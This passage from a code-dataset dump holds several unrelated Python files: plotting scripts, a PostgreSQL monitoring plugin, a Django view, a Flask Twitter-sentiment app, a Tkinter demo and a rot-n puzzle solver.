[]\r\ntest_list_ac = []\r\nbase_lr = 0\r\ntest_interval = 0\r\ndisplay_interval = 0\r\nstepsize = 0\r\nmax_iter = 0\r\n\r\nif len(sys.argv) == 1:\r\n filename = 'train_out'\r\nelse:\r\n filename = sys.argv[1]\r\nwith open(filename) as f:\r\n for line in f:\r\n if 'base_lr:' in line:\r\n start = line.find(': ') + 2\r\n end = line.find('\\n')\r\n base_lr = float(line[start:end])\r\n if 'max_iter:' in line:\r\n start = line.find(': ') + 2\r\n end = line.find('\\n')\r\n max_iter = int(line[start:end])\r\n if 'test_interval:' in line:\r\n start = line.find(': ') + 2\r\n end = line.find('\\n')\r\n test_interval = int(line[start:end])\r\n if 'display:' in line:\r\n start = line.find(': ') + 2\r\n end = line.find('\\n')\r\n display_interval = int(line[start:end])\r\n if 'stepsize:' in line:\r\n start = line.find(': ') + 2\r\n end = line.find('\\n')\r\n stepsize = int(line[start:end])\r\n if 'Test net' in line and 'loss' in line:\r\n start = line.find('= ') + 2\r\n end = line.find('(') - 1\r\n test_list.append(float(line[start:end]))\r\n #if 'Iteration' in line and 'loss' in line and '(' not in line:\r\n if 'Train net' in line and 'loss' in line:\r\n start = line.find('= ') + 2\r\n end = line.find('(') - 1\r\n #start = line.find('= ') + 2\r\n #end = line.find('\\n')\r\n train_list.append(float(line[start:end]))\r\n #print line[start:end]\r\n\r\n if 'Test net' in line and 'accuracy' in line:\r\n start = line.find('= ') + 2\r\n end = line.find('\\n') \r\n test_list_ac.append(float(line[start:end]))\r\n if 'Train net' in line and 'accuracy' in line:\r\n start = line.find('= ') + 2\r\n end = line.find('\\n')\r\n train_list_ac.append(float(line[start:end]))\r\n\r\n\r\ntest_x = range(0,(max_iter + 1),test_interval)\r\ntrain_x = range(0,max_iter + 1,display_interval)\r\n\r\nf, (ax1, ax2) = plt.subplots(2,sharex=True)\r\n\r\ntest_list_ac_av = [sum(test_list_ac[0:i]) / float(i+1) for i, j in enumerate(test_list_ac)]\r\ntrain_list_ac_av = [sum(train_list_ac[0:i]) / float(i+1) for i, j in enumerate(train_list_ac)]\r\n\r\ntest_line_acc, = ax1.plot(test_x[0:len(test_list_ac)],test_list_ac,'r--')\r\ntrain_line_acc, = ax1.plot(train_x[0:len(train_list_ac)], train_list_ac, 'b--')\r\ntest_line_acc_av, = ax1.plot(test_x[0:len(test_list_ac_av)],test_list_ac_av,'k--')\r\ntrain_line_acc_av, = ax1.plot(train_x[0:len(train_list_ac_av)], train_list_ac_av, 'c--')\r\n\r\nax1.set_title('base_lr = ' + str(base_lr) + ' stepsize = ' + str(stepsize))\r\nax1.legend([test_line_acc, train_line_acc, test_line_acc_av, train_line_acc_av],['Test Acc', 'Train Acc', 'Test Av', 'Train Av'])\r\nax1.set_ylabel('Accuracy')\r\nax1.grid(True)\r\n\r\n\r\n\r\ntest_line, = ax2.plot(test_x[0:len(test_list)],test_list,'g--')\r\ntrain_line, = ax2.plot(train_x[0:len(train_list)], train_list, 'c--')\r\n\r\nax2.legend([test_line, train_line],['Test Loss', 'Train Loss'])\r\nax2.set_ylabel('Loss')\r\nax2.set_xlabel('Interval')\r\nax2.grid(True)\r\n\r\nplt.show()\r\n\r\n\r\n","sub_path":"graphgen.py","file_name":"graphgen.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"480260778","text":"# -*- coding: utf-8 -*-\n\nfrom mamonsu.plugins.pgsql.plugin import PgsqlPlugin as Plugin\nfrom distutils.version import LooseVersion\nfrom .pool import Pooler\nfrom mamonsu.lib.zbx_template import ZbxTemplate\n\nNUMBER_NON_ACTIVE_SLOTS = 0\n\n\nclass Xlog(Plugin):\n DEFAULT_CONFIG = {'lag_more_than_in_sec': str(60 * 5)}\n\n # get amount of WAL since '0/00000000'\n query_wal_lsn_diff = \" SELECT pg_catalog.pg_wal_lsn_diff \" \\\n \"(pg_catalog.pg_current_wal_lsn(), '0/00000000');\"\n\n query_xlog_lsn_diff = \"SELECT pg_catalog.pg_xlog_location_diff \" \\\n \"(pg_catalog.pg_current_xlog_location(), '0/00000000');\"\n\n # get time of replication lag\n query_agent_replication_lag = \"SELECT CASE WHEN extract(epoch from now()-pg_last_xact_replay_timestamp()) \" \\\n \"IS NULL THEN 0 ELSE extract(epoch from now()-pg_last_xact_replay_timestamp()) END\"\n\n # PG 14 pg_stat_wal\n query_wal_records = \"SELECT wal_records FROM pg_stat_wal;\"\n query_wal_fpi = \"SELECT wal_fpi FROM pg_stat_wal;\"\n query_wal_buffers_full = \"SELECT wal_buffers_full FROM pg_stat_wal;\"\n query_wal_write_time = \"SELECT wal_write_time FROM pg_stat_wal;\"\n query_wal_sync_time = \"SELECT wal_sync_time FROM pg_stat_wal;\"\n\n # for discovery rule for name of each replica\n key_lsn_replication_discovery = \"pgsql.replication.discovery{0}\"\n key_total_lag = 'pgsql.replication.total_lag{0}'\n # for PG 10 and higher\n key_flush = 'pgsql.replication.flush_lag{0}'\n key_replay = 'pgsql.replication.replay_lag{0}'\n key_write = 'pgsql.replication.write_lag{0}'\n\n # keys for PG 14 and higher\n key_wal_records = 'pgsql.wal.records.count{0}'\n key_wal_fpi = 'pgsql.wal.fpi.count{0}'\n key_wal_buffers_full = 'pgsql.wal.buffers_full'\n key_wal_write_time = 'pgsql.wal.write_time'\n key_wal_sync_time = 'pgsql.wal.sync_time'\n key_wal_sync_duty = 'pgsql.wal.sync_duty'\n\n key_wall = 'pgsql.wal.write{0}'\n key_count_wall = \"pgsql.wal.count{0}\"\n key_replication = \"pgsql.replication_lag{0}\"\n key_non_active_slots = \"pgsql.replication.non_active_slots{0}\"\n AgentPluginType = 'pg'\n\n def run(self, zbx):\n\n if Pooler.in_recovery():\n # replication lag\n lag = Pooler.run_sql_type('replication_lag_slave_query')\n if lag[0][0] is not None:\n zbx.send('pgsql.replication_lag[sec]', float(lag[0][0]))\n else:\n Pooler.run_sql_type('replication_lag_master_query')\n if Pooler.server_version_greater('10.0'):\n result = Pooler.query(self.query_wal_lsn_diff)\n result_lags = Pooler.run_sql_type('wal_lag_lsn')\n if result_lags:\n lags = []\n for info in result_lags:\n lags.append({'{#APPLICATION_NAME}': info[0]})\n zbx.send('pgsql.replication.flush_lag[{0}]'.format(\n info[0]), info[1])\n zbx.send('pgsql.replication.replay_lag[{0}]'.format(\n info[0]), info[2])\n zbx.send('pgsql.replication.write_lag[{0}]'.format(\n info[0]), info[3])\n zbx.send('pgsql.replication.total_lag[{0}]'.format(\n info[0]), float(info[4]), self.DELTA_SPEED)\n zbx.send('pgsql.replication.discovery[]', zbx.json({'data': lags}))\n del lags\n else:\n result = Pooler.query(self.query_xlog_lsn_diff)\n result_lags = Pooler.run_sql_type('xlog_lag_lsn')\n if result_lags:\n lags = []\n for info in result_lags:\n lags.append({'{#APPLICATION_NAME}': info[0]})\n\n zbx.send('pgsql.replication.total_lag[{0}]'.format(\n info[0]), float(info[1]), self.DELTA_SPEED)\n zbx.send('pgsql.replication.discovery[]', zbx.json({'data': lags}))\n del lags\n\n zbx.send(self.key_wall.format(\"[]\"), float(result[0][0]), self.DELTA_SPEED)\n\n # count of xlog files\n if Pooler.server_version_greater('10.0'):\n result = Pooler.run_sql_type('count_wal_files')\n else:\n result = Pooler.run_sql_type('count_xlog_files')\n zbx.send(self.key_count_wall.format(\"[]\"), int(result[0][0]))\n\n non_active_slots = Pooler.query(\"\"\"SELECT count(*) FROM pg_replication_slots WHERE active = 'false';\"\"\")\n zbx.send(self.key_non_active_slots.format(\"[]\"), int(non_active_slots[0][0]))\n\n # PG 14 pg_stat_wal metrics\n if Pooler.server_version_greater('14'):\n result = Pooler.query(\"\"\"SELECT wal_records FROM pg_stat_wal;\"\"\")\n zbx.send(self.key_wal_records.format(\"[]\"), int(result[0][0]))\n result = Pooler.query(\"\"\"SELECT wal_fpi FROM pg_stat_wal;\"\"\")\n zbx.send(self.key_wal_fpi.format(\"[]\"), int(result[0][0]))\n result = Pooler.query(\"\"\"SELECT wal_buffers_full FROM pg_stat_wal;\"\"\")\n zbx.send(self.key_wal_buffers_full.format(\"[]\"), int(result[0][0]))\n result = Pooler.query(\"\"\"SELECT wal_write_time FROM pg_stat_wal;\"\"\")\n zbx.send(self.key_wal_write_time.format(\"[]\"), int(result[0][0]))\n result = Pooler.query(\"\"\"SELECT wal_sync_time FROM pg_stat_wal;\"\"\")\n zbx.send(self.key_wal_sync_time.format(\"[]\"), int(result[0][0]))\n\n def items(self, template, dashboard=False):\n result = ''\n if self.Type == \"mamonsu\":\n delta = Plugin.DELTA.as_is\n else:\n delta = Plugin.DELTA_SPEED\n result += template.item({\n 'name': 'PostgreSQL: wal write speed',\n 'key': self.right_type(self.key_wall),\n 'units': Plugin.UNITS.bytes,\n 'delay': self.plugin_config('interval'),\n 'delta': delta\n }) + template.item({\n 'name': 'PostgreSQL: streaming replication lag',\n 'key': self.right_type(self.key_replication, \"sec\"),\n 'delay': self.plugin_config('interval')\n }) + template.item({\n 'name': 'PostgreSQL: count of xlog files',\n 'key': self.right_type(self.key_count_wall),\n 'delay': self.plugin_config('interval')\n }) + template.item({\n 'name': 'PostgreSQL: count non-active replication slots',\n 'key': self.right_type(self.key_non_active_slots),\n 'value_type': self.VALUE_TYPE.numeric_unsigned,\n }) + template.item({\n 'name': 'PostgreSQL: wal records generated',\n 'key': self.right_type(self.key_wal_records),\n 'value_type': self.VALUE_TYPE.numeric_unsigned,\n 'delta': delta,\n }) + template.item({\n 'name': 'PostgreSQL: wal full page images generated',\n 'key': self.right_type(self.key_wal_fpi),\n 'value_type': self.VALUE_TYPE.numeric_unsigned,\n 'delta': delta,\n }) + template.item({\n 'name': 'PostgreSQL: wal buffers full',\n 'key': self.key_wal_buffers_full,\n 'value_type': self.VALUE_TYPE.numeric_unsigned,\n 'delta': delta,\n }) + template.item({\n 'name': 'PostgreSQL: wal write time (ms)',\n 'key': self.key_wal_write_time,\n 'value_type': self.VALUE_TYPE.numeric_unsigned,\n 'delta': delta,\n }) + template.item({\n 'name': 'PostgreSQL: wal sync time (ms)',\n 'key': self.key_wal_sync_time,\n 'value_type': self.VALUE_TYPE.numeric_unsigned,\n 'delta': delta,\n }) + template.item({\n 'name': 'PostgreSQL: wal sync duty (%)',\n 'key': self.key_wal_sync_duty,\n 'value_type': Plugin.VALUE_TYPE.numeric_float,\n 'units': Plugin.UNITS.percent,\n 'type': Plugin.TYPE.CALCULATED,\n 'params': \"last(//\" + self.key_wal_sync_time + \")/10/\" + self.plugin_config('interval')\n })\n if not dashboard:\n return result\n else:\n return [{'dashboard': {'name': self.right_type(self.key_wall),\n 'page': ZbxTemplate.dashboard_page_wal['name'],\n 'size': ZbxTemplate.dashboard_widget_size_medium,\n 'position': 2}}]\n\n def triggers(self, template, dashboard=False):\n triggers = template.trigger({\n 'name': 'PostgreSQL streaming lag too high '\n 'on {HOSTNAME} (value={ITEM.LASTVALUE})',\n 'expression': '{#TEMPLATE:' + self.right_type(self.key_replication, \"sec\") + '.last()}>' +\n self.plugin_config('lag_more_than_in_sec')\n }) + template.trigger({\n 'name': 'PostgreSQL number of non-active replication slots '\n 'on {HOSTNAME} (value={ITEM.LASTVALUE})',\n 'expression': '{#TEMPLATE:' + self.right_type(self.key_non_active_slots) + '.last()}#' +\n str(NUMBER_NON_ACTIVE_SLOTS)\n })\n return triggers\n\n def discovery_rules(self, template, dashboard=False):\n rule = {\n 'name': 'Replication lag discovery',\n 'key': self.key_lsn_replication_discovery.format('[{0}]'.format(self.Macros[self.Type])),\n\n }\n if Plugin.old_zabbix:\n conditions = []\n rule['filter'] = '{#APPLICATION_NAME}:.*'\n else:\n conditions = [\n {\n 'condition': [\n {'macro': '{#APPLICATION_NAME}',\n 'value': '.*',\n 'operator': 8,\n 'formulaid': 'A'}\n ]\n }\n\n ]\n items = [\n {'key': self.right_type(self.key_flush, var_discovery=\"{#APPLICATION_NAME},\"),\n 'name': 'Time elapsed between flushing recent WAL locally and receiving notification that '\n 'this standby server {#APPLICATION_NAME} has written and flushed it',\n 'value_type': Plugin.VALUE_TYPE.text,\n 'delay': self.plugin_config('interval')},\n {'key': self.right_type(self.key_replay, var_discovery=\"{#APPLICATION_NAME},\"),\n 'name': 'Time elapsed between flushing recent WAL locally and receiving notification that '\n 'this standby server {#APPLICATION_NAME} has written, flushed and applied',\n 'value_type': Plugin.VALUE_TYPE.text,\n 'delay': self.plugin_config('interval')},\n {'key': self.right_type(self.key_write, var_discovery=\"{#APPLICATION_NAME},\"),\n 'name': 'Time elapsed between flushing recent WAL locally and receiving notification that '\n 'this standby server {#APPLICATION_NAME} has written it',\n 'value_type': Plugin.VALUE_TYPE.text,\n 'delay': self.plugin_config('interval')},\n {'key': self.right_type(self.key_total_lag, var_discovery=\"{#APPLICATION_NAME},\"),\n 'name': 'Delta of total lag for {#APPLICATION_NAME}',\n 'value_type': Plugin.VALUE_TYPE.numeric_float,\n 'delay': self.plugin_config('interval')}\n ]\n graphs = [\n {\n 'name': 'Delta of total lag for {#APPLICATION_NAME}',\n 'items': [\n {'color': 'CC0000',\n 'key': self.right_type(self.key_total_lag, var_discovery=\"{#APPLICATION_NAME},\")},\n ]\n }\n ]\n return template.discovery_rule(rule=rule, conditions=conditions, items=items, graphs=graphs)\n\n def keys_and_queries(self, template_zabbix):\n result = []\n if LooseVersion(self.VersionPG) < LooseVersion('10'):\n result.append(\n '{0},$2 $1 -c \"{1}\"'.format(self.key_count_wall.format('[*]'), Pooler.SQL['count_xlog_files'][0]))\n result.append('{0},$2 $1 -c \"{1}\"'.format(self.key_wall.format('[*]'), self.query_xlog_lsn_diff))\n else:\n result.append(\n '{0},$2 $1 -c \"{1}\"'.format(self.key_count_wall.format('[*]'), Pooler.SQL['count_wal_files'][0]))\n result.append('{0},$2 $1 -c \"{1}\"'.format(self.key_wall.format('[*]'), self.query_wal_lsn_diff))\n result.append(\n '{0},$2 $1 -c \"{1}\"'.format(\"pgsql.replication_lag.sec[*]\", self.query_agent_replication_lag))\n if LooseVersion(self.VersionPG) >= LooseVersion('14'):\n result.append('{0},$2 $1 -c \"{1}\"'.format(self.key_wal_records.format('[*]'), self.query_wal_records))\n result.append('{0},$2 $1 -c \"{1}\"'.format(self.key_wal_fpi.format('[*]'), self.query_wal_fpi))\n result.append('{0},$2 $1 -c \"{1}\"'.format(self.key_wal_buffers_full.format('[*]'), self.query_wal_buffers_full))\n result.append('{0},$2 $1 -c \"{1}\"'.format(self.key_wal_write_time.format('[*]'), self.query_wal_write_time))\n result.append('{0},$2 $1 -c \"{1}\"'.format(self.key_wal_sync_time.format('[*]'), self.query_wal_sync_time))\n return template_zabbix.key_and_query(result)\n","sub_path":"mamonsu/plugins/pgsql/xlog.py","file_name":"xlog.py","file_ext":"py","file_size_in_byte":13239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"5405918","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom api import models\nfrom api.serializer.course import CourseModelSerializer\nfrom api.serializer.course import CourseDetailModelSerializer\n\n\nclass CourseView(APIView):\n \n def get(self, request, *args, **kwargs):\n response = {'status': False}\n try:\n pk = kwargs.get('pk')\n if not pk:\n queryset = models.Course.objects.exclude(course_type=2)\n ser = CourseModelSerializer(instance=queryset, many=True)\n else:\n queryset = models.CourseDetail.objects.get(course_id=pk)\n ser = CourseDetailModelSerializer(instance=queryset, many=False)\n response['data'] = ser.data\n response['status'] = True\n except Exception as e:\n response['error'] = str(e)\n return Response(response)\n","sub_path":"s6luffycity/api/views/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"241929777","text":"#Your submission beats 62.78% Submissions!\n#based on jiadai c++\nclass TwoSum:\n def __init__(self):\n self.table = {}\n \"\"\"\n @param: number: An integer\n @return: nothing\n \"\"\"\n def add(self, number):\n # write your code here\n if number not in self.table: #for python, it is key to test k in dict\n self.table[number] = 1\n else:\n self.table[number] += 1\n \n \"\"\"\n @param: value: An integer\n @return: Find if there exists any pair of numbers which sum is equal to the value.\n \"\"\"\n def find(self, value):\n # write your code here\n for k in self.table:\n \n b = value - k\n if (k != b and b in self.table and self.table[b] > 0):\n return True\n if ( k== b and self.table[k] > 1):\n return True\n return False\n","sub_path":"two-sum-data-structure-design/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"250600813","text":"import pandas as pd\nimport numpy as np\nfrom plotly.subplots import make_subplots\nimport plotly.express as px\nimport plotly.graph_objects as go\n\nathdata = pd.read_csv('data-processing/athlete.csv')\ncountries = athdata['Country'].unique()\ncolors = list(px.colors.qualitative.Set3) + list(px.colors.qualitative.Set2)+ list(px.colors.qualitative.Set1)+ list(px.colors.qualitative.Set1) + list(px.colors.qualitative.Set2)\nmap_dict = {}\nfor i in range(len(countries)):\n map_dict[countries[i]] = colors[i]\n\ndef get_athplot(fsl,fbr):\n athdata['Score'] = fsl * athdata['Silver'] + fbr * athdata['Bronze'] + athdata['Gold']\n athdata_colors = map(lambda x:map_dict[x],athdata['Country'])\n athdata_colors = np.array(list(athdata_colors))\n bubble = go.Scatter(\n x=athdata['Year'],\n y=athdata['Score'],\n mode='markers',\n text=athdata['Athlete'],\n marker=dict(\n size=athdata['Score']**3*1.2,\n sizemode='area',\n sizemin=4,\n color = athdata_colors\n )\n )\n\n grouped = athdata.groupby(['Country']).sum().reset_index()\n sorted_data = grouped.sort_values(['Score','Total','Gold'])\n data_colors = map(lambda x:map_dict[x],sorted_data['Country'])\n data_colors = np.array(list(data_colors))\n bar = go.Bar(\n x=sorted_data['Score'],\n y=sorted_data['Country'],\n orientation='h',\n marker = dict(\n color = data_colors,\n ),\n opacity = 0.8\n )\n fig_all = make_subplots(rows=1, cols=2,column_widths=[0.7, 0.3])\n fig_all.add_trace(bubble,row=1, col=1)\n fig_all.add_trace(bar,row=1, col=2)\n fig_all.update_layout(template = 'plotly_white',showlegend=False,height=600)\n return fig_all\n\n\n\n\n","sub_path":".ipynb_checkpoints/plot3-checkpoint.py","file_name":"plot3-checkpoint.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"181054822","text":"import os\nimport json\nfrom flask import Flask\nfrom flask_restful import Api, Resource, reqparse\nimport tweepy\nfrom textblob import TextBlob\n\n\nwith open(os.environ['config_file_path'], 'r') as file:\n config: dict = json.load(file)\n\nauth = tweepy.OAuthHandler(config['Twitter']['consumer_key'], config['Twitter']['consumer_secret'])\nauth.set_access_token(config['Twitter']['access_token'], config['Twitter']['access_token_secret'])\nt_api = tweepy.API(auth)\n\napp = Flask(__name__)\napi = Api(app)\n\n@app.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Access-Control-Allow-Origin, Access-Control-Allow-Methods')\n response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE')\n return response\n\nclass ApiKey(Resource):\n def get(self):\n return config['NewsAPI']['api_key']\n\nclass User(Resource):\n def get(self, name, number_of_tweets):\n polarity: str\n ptweets: list = []\n neutweets: list = []\n negtweets: list = []\n\n result = tweepy.Cursor(t_api.search, q=name, lang='en').items(number_of_tweets)\n d: list = []\n for r in result:\n analysis = TextBlob(r.text)\n if analysis.polarity > 0:\n ptweets.append(r.text)\n elif analysis.polarity == 0:\n neutweets.append(r.text)\n else:\n negtweets.append(r.text)\n \n d.append({\n 'name': 'Positive',\n 'data': ptweets\n })\n d.append({\n 'name': 'Neutral',\n 'data': neutweets\n })\n d.append({\n 'name': 'Negative',\n 'data': negtweets,\n })\n\n return {\n \"Positive Tweets Percentage\": (100*len(ptweets)/number_of_tweets),\n \"Neutral Tweets Percentage\": (100*len(neutweets)/number_of_tweets),\n \"Negative Tweets Percentage\": (100*len(negtweets)/number_of_tweets),\n \"Tweets\": d\n }\n\napi.add_resource(User, '/user//')\napi.add_resource(ApiKey, '/apikey')\napp.run()\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"292764043","text":"# process.py\n# --coding:utf-8--\n\nimport os\nimport re\n\nimport bs4\n\n\ndef files(path):\n def record(arg, dirname, fnames):\n for f in fnames:\n if f[-5:] == '.html':\n arg.append(f)\n\n files = []\n os.path.walk(path, record, files)\n\n return files\n\n\ndef process(filename, content):\n moviename = filename[:filename.rfind('.')].replace('-', ' ')\n print (\"Processing file: %s\\n movie: %s\" %(filename, moviename))\n\n soup = bs4.BeautifulSoup(content.replace('
', '\\r\\n'), 'lxml')\n text = soup.html.body.find_all(class_='scrtext')[0].getText().encode('utf-8').strip() \n pattern = r'%s\\nWriters.*?Genres.*?User Comments.*?Back to IMSDb' %moviename\n\n return re.sub(pattern, '', text, count=0, flags=re.S)\n\n\ndef main():\n pages = files('.')\n\n for page in pages:\n open('%s.processed' % page, 'wb').write(\n process(page, open(page, 'rb').read()))\n\nif __name__ == '__main__':\n main()\n","sub_path":"data/imsdb/Utilities/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"278796368","text":"import tkinter\r\nimport sys\r\nimport tkinter as tk\r\n\r\nclass Sett:\r\n\tdef __init__(self, s1, s2):\r\n\t\tself.s1 = s1 #エディター\r\n\t\tself.s2 = s2 #ラベル\r\n\t\r\n\tdef r1(self):\r\n\t\tself.s1 = 10\r\n\t\tprint(self.s1)\r\n\t\treturn self.s1\r\n\r\n\tdef r2(self):\r\n\t\tself.s1 = 15\r\n\t\tprint(self.s1)\r\n\t\treturn self.s1\r\n\r\n\tdef r3(self):\r\n\t\tprint(self.s1)\r\n\t\treturn self.s1\r\n\r\n\tdef run(self):\r\n\t\ttki = tkinter.Tk()\r\n\t\t# 画面サイズ\r\n\t\ttki.geometry('300x200')\r\n\t\t# 画面タイトル\r\n\t\ttki.title('ラジオボタン')\r\n\r\n\t\tvar = tkinter.IntVar()\r\n\t\t# value=0のラジオボタンにチェックを入れる\r\n\t\tvar.set(0)\r\n\r\n\t\t# ラジオボタン作成\r\n\t\trdo1 = tkinter.Radiobutton(tki, value=0, variable=var, text='10', command=self.r1)\r\n\t\trdo1.place(x=70, y=40)\r\n\r\n\t\trdo2 = tkinter.Radiobutton(tki, value=1, variable=var, text='15', command=self.r2)\r\n\t\trdo2.place(x=70, y=70)\r\n\r\n\t\trdo3 = tkinter.Radiobutton(tki, value=2, variable=var, text='20', command=self.r3)\r\n\t\trdo3.place(x=70, y=100)\r\n\r\n\t\ttk.Label(tki, text=\"エディターの文字サイズを指定\").place(x=70, y=10)\r\n\r\n\t\ttki.mainloop()\r\n\r\nif __name__ == \"__main__\":\r\n\ts = Sett()\r\n\ts.run()","sub_path":"D_Filed/sett.py","file_name":"sett.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"384986582","text":"import numpy as np\nimport datetime\nimport matplotlib.pyplot as plt\nimport matplotlib\n\ndatafile_folder = \"csv/\"\ndatafile_name = \"per_dev_adoc\"\ndatafile_ext = \".csv\"\n\ndimInput = 2 # input dimension\ndimOutput = 3 # output dimension\n\nnumN = 3\nnumE = 5\nnumDataPts = numN*numE # total number of data points\n\nplt_folder = \"plots/\"\nplt_name = \"per_dev_adoc\"\nnum_subplot_rows = 3 # number of rows of subplot array in plot\nnum_subplot_cols = 1 # number of columns of subplot array in plot \t\n\n############################################### Loading Data ###############################################\n\n# Function for loading data\ndef load_data(fl_nm):\n ''' Returns numpy array of shape (total data points, dimInput+dimOutput) '''\n data_file = open(fl_nm, 'r')\n data_list = []\n for row in data_file.readlines():\n row_list = row.split(',')\n for i in range(len(row_list)):\n row_list[i] = float(row_list[i])\n data_list.append(row_list)\n data_file.close() \n return np.array(data_list, dtype = np.float32, ndmin = 2)\n\n\ndata_arr = load_data(datafile_folder+datafile_name+datafile_ext)\nassert data_arr.shape == (numDataPts, dimInput+dimOutput), data_arr.shape\n\ndata_input, data_output = np.split(data_arr, [dimInput], axis=1)\nx_data = data_input[:numE, 1]\ny_data = np.empty([numN, numE, dimOutput])\nfor i in range(numN):\n for j in range(numE):\n y_data[i, j, :] = data_output[numE*i+j, :]\n\nprint(y_data.shape)\nprint(x_data)\n\n############################################################################################################\n\n############################################### Defining Animation function ###############################################\n\ndef plotter(x_data, y_data, fig_nm, subplot_rows, subplot_cols, y_max):\n ''' x_data- numpy array of shape (1, numE)\n y_data- numpy array of shape (numN, numE, dimOutput)\n fig_nm- string '''\n\n # create a figure with subplots\n fig, ax = plt.subplots(subplot_rows, subplot_cols)\n\n # plotting on each subplot\n cnt = 0\n l=[0]*numN\n clrs = ['r', 'r', 'r']\n lnStyls = [\":\", \"--\", \"-\",]\n subTitles = [\"F\"+r\"$_{feed}$\", \"F\"+r\"$_{normal}$\", \"F\"+r\"$_{axial}$\"]\n for i in range(subplot_rows):\n if subplot_cols>1:\n for j in range(subplot_cols):\n for k in range(numN):\n l[k], = ax[i][j].plot(x_data.reshape((numE)), y_data[k, :, cnt].reshape((numE)), ls=lnStyls[k], lw=0.3, color=clrs[k])\n\n matplotlib.axes.Axes.text(ax[i][j], x=0.5, y=0.9, s=subTitles[cnt], horizontalalignment='center',verticalalignment='center', transform=ax[i][j].transAxes)\n\n # axes limit settings\n major_ticks = np.arange(0, y_max, 0.04)\n minor_ticks = np.arange(0, y_max, 0.004)\n ax[i][j].set_ylim(0, y_max)\n ax[i][j].set_xlim(0, 0.6)\n\n # y-axis ticks setting \n ax[i][j].set_yticks(major_ticks)\n ax[i][j].set_yticks(minor_ticks, minor=True)\n ax[i][j].grid(which='both', axis='y')\n ax[i][j].grid(which='minor', axis='y', alpha=0.2)\n ax[i][j].grid(which='major', axis='y', alpha=0.5)\n ax[i][j].tick_params(labelsize=\"x-small\")\n\n cnt += 1\n else:\n for k in range(numN):\n l[k], = ax[i].plot(x_data.reshape((numE)), y_data[k, :, cnt].reshape((numE)), ls=lnStyls[k], lw=0.7, color=clrs[k])\n\n matplotlib.axes.Axes.text(ax[i], x=0.5, y=0.9, s=subTitles[cnt], horizontalalignment='center',verticalalignment='center', transform=ax[i].transAxes)\n\n # axes limit settings\n # major_ticks = np.arange(0, y_max, 0.04)\n # minor_ticks = np.arange(0, y_max, 0.004)\n # ax[i][j].set_ylim(0, y_max)\n # ax[i][j].set_xlim(0, 0.6)\n\n # # y-axis ticks setting \n # ax[i][j].set_yticks(major_ticks)\n # ax[i][j].set_yticks(minor_ticks, minor=True)\n # ax[i][j].grid(which='both', axis='y')\n # ax[i][j].grid(which='minor', axis='y', alpha=0.2)\n # ax[i][j].grid(which='major', axis='y', alpha=0.5)\n # ax[i][j].tick_params(labelsize=\"x-small\")\n\n cnt += 1\n\n fig.suptitle(\"Percent deviations vs Feedrate for different values of ADOC\", fontsize=14)\n fig.legend(tuple(l) , (\"ADOC=1\", \"ADOC=1.4\", \"ADOC=1.8\"), loc = 'lower center', ncol=6, labelspacing=0. )\n plt.savefig(fig_nm + \".svg\")\n # plt.savefig(fig_nm + \".png\", dpi=1200)\n\n # closing all figures\n plt.close('all')\n\n############################################################################################################\n\n\n\n\nplotter(x_data, y_data, plt_folder+plt_name, num_subplot_rows, num_subplot_cols, 0.2)\n","sub_path":"Project_Ananth/py/postPlots2D_adoc_per_dev.py","file_name":"postPlots2D_adoc_per_dev.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"583261631","text":"from ChallengeClient import challengeinterface\r\n\r\n#############################################################\r\n# Function declarations\r\n#############################################################\r\n# read in real word file and make it a list\r\nwith open('wordlist.txt') as f:\r\n realwords = set(f.read().splitlines())\r\n\r\n#rot-n function\r\ndef rot_n(n, msg):\r\n decoded = ''\r\n for char in list(msg):\r\n if char.isalpha():\r\n value = ord(char) + n\r\n if value > ord('Z'):\r\n value = (value - ord('Z')) + ord('A') - 1\r\n decoded += chr(value)\r\n else:\r\n decoded += char\r\n return decoded\r\n\r\n# select_rline\r\n# Takes the full challenge text as input and trims it down to\r\n# the line that you input, counting from the end of the string\r\n# e.g. if you input line=2, it will return the second last line\r\n# this is a different line in some levels, so pay attention\r\ndef select_rline(fulltext, rline):\r\n lines = fulltext.rsplit(\"\\n\")\r\n problemtext = lines[len(lines) - rline]\r\n return problemtext\r\n\r\n# solve_problem\r\n# Solve the problem in this function\r\ndef solve_problem(problemtext, realwords):\r\n # split question data into a list of words\r\n codedwordlist = problemtext.split()\r\n\r\n # set up variable for answer\r\n answer = []\r\n\r\n # loop through words\r\n for w in codedwordlist:\r\n # loop through rot-n functions until a match is found\r\n for n in range(1, 27):\r\n newword = rot_n(n, w)\r\n if newword in realwords:\r\n answer.append(newword)\r\n break\r\n\r\n # make answer into a string\r\n return ' '.join(answer)\r\n\r\n#############################################################\r\n# Main code starts here\r\nif __name__ == \"__main__\":\r\n level = '4'\r\n serverip = \"15.223.13.29\"\r\n challengeport = 8001\r\n\r\n # start the challenge game\r\n challenge = challengeinterface(serverip, challengeport)\r\n print(challenge.start())\r\n\r\n # choose the level to run\r\n challengetext = challenge.select_level(level)\r\n print('\\nChallenge Text is:\\n' + 